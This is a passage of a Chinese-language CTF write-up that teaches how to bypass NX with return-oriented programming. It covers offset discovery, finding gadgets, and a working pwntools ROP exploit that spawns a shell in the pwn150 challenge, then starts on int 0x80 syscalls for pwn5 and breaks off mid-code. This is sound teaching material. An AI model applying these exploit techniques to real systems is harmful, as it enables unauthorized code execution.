二进制安全之NX绕过方法–ROP技术
原文地址
在之前的缓冲区溢出的实验中,溢出到栈中的shellcode
可以直接被系统执行,给系统安全带来了极大的风险,因此NX
技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode
写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用ret
,jmp
,call
等指令(主要是ret
)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP
中并跳转执行,我们可以在栈中精心构造一些以ret
结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。
64位ELF的ROP
先拿一道bugs bunny ctf 2017
的pwn150
来说:
这是一个64位的ELF文件且程序开启了NX:
放到IDA里可以很容易发现Hello()
函数中存在溢出漏洞:
现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程
点击运行程序,向程序中输入如下字符串:
gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
回车之后IDA报错,段错误,查看此时寄存器中的数值:
栈内数据如下:
此时RSP寄存器中的值为41416741414B4141
,ASCII转化一下就是AAgAAKAA
,按照存储方式倒序就是AAKAAgAA
,查看偏移量为88:
gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88
至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")
起shell还需要找到system()
函数的位置和字符串/bin/sh
,和一个gadget
,gadget
是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDI
,RSI
, RDX
,RCX
,R8
和R9
这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP
的思路,需要找到的gadget
为pop rdi , ret
system()
的位置可以在main
函数中的一个today()
中找到:
.text:0000000000400756 ; __unwind {
.text:0000000000400756 push rbp
.text:0000000000400757 mov rbp, rsp
.text:000000000040075A mov edi, offset command ; "/bin/date"
.text:000000000040075F call _system
.text:0000000000400764 nop
.text:0000000000400765 pop rbp
.text:0000000000400766 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today endp
.text:0000000000400766
地址为000000000040075F
/bin/sh
可以在Hello的输出语句的shorry
中找到一个sh
地址为00000000004008fb
本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:
地址为00000000004003ef
寻找目标gadget
可用此程序:ROPgadget
⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret
找到了以上的地址,可以构造脚本了:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = process("./pwn150")
system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883
payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)
io.sendline(payload)
io.interactive()
漏洞利用成功,再解释一下为什么 要这样构造脚本:
首先发送了88个字节填充无用空间,在88个字节之后的数据gadget
会存储在ESP所指的内存区域,此时系统会执行gadget
的指令pop rdi ; ret
,rsp+8
,通过pop rdi
将/bin/sh
弹出到RDI寄存器中,rsp+8
,rsp
此时指向system()
,之后会执行ret
,因为此时RSP指向system()
,系统会调用system()
函数并将rdi
中的值作为参数传到system()
中从而执行system("/bin/sh")
无system函数时调用int 0x80
完成ROP
上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?
我们可以使用int 0x80
来进行系统中断
启动系统调用需要使用
INT
指令。linux
系统调用位于中断0x80
,执行INT
指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT
指令之后的下一条指令。操作系统实现系统调用的基本过程是:
- 应用程序调用库函数(API);
- API将系统调用号存入EAX,然后通过中断调用使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数;
- 中断处理函数返回到API中;
- API将EAX返回给应用程序。
- 寄存器
eax
存放调用号,剩下的几个寄存器存放参数。
拿Tamu CTF 2018
的pwn5
来说:
看一下开启的安全措施:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA看一下:
int first_day_corps()
{
int result; // eax
printf(
"You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
puts("You spend your morning excersizing and eating chow.");
puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
getchar();
result = (char)getchar();
if ( result == 50 )
{
printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
printf("What do you change your major to?: ");
result = change_major();
}
else if ( result > 50 )
{
if ( result == 51 )
{
result = puts(
"You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
}
else if ( result == 52 )
{
puts(
"You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
result = printf(
"Unfortunately the queitness of the library works against you and as you are studying %s related topics "
"you start to doze off and fall asleep\n"